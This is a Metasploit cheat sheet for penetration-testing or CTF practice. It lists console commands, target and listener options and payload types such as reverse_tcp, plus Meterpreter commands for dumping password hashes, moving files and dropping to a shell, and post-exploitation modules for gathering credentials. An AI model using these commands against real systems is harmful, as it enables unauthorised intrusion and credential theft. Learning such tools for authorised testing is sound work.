CONSOLE COMMANDS
msfconsole # Launch framework
search [term] # Find modules
use [module/number] # Select module
info # Module details
show options # Show config options
show payloads # List payloads
set [OPTION] [value] # Set option
setg [OPTION] [value] # Set globally
unset [OPTION] # Clear option
run / exploit # Execute
back # Deselect module
sessions # List sessions
sessions -i [id] # Interact with session
COMMON OPTIONS
set RHOSTS 10.10.17.20 # Target IP
set LHOST 10.10.14.1 # Your IP
set LPORT 4444 # Listen port
set PAYLOAD [payload] # Set payload
METERPRETER COMMANDS
sysinfo # OS + hostname
getuid # Current user
getpid # Process ID
ps # Process list
shell # Drop to OS shell
hashdump # Dump password hashes
download [file] # Download file
upload [file] [path] # Upload file
ls / pwd / cd # File navigation
background / bg # Background session
run [post module] # Run post module
PAYLOAD TYPES
Singles — self-contained, small, less features
Stagers — small, connect back, load stage
Stages — downloaded by stager, full-featured
Naming: OS/arch/type (e.g. linux/x86/meterpreter/reverse_tcp)
POST MODULES
post/multi/recon/local_exploit_suggester
post/linux/gather/hashdump
post/multi/gather/env
post/linux/manage/shell_to_meterpreter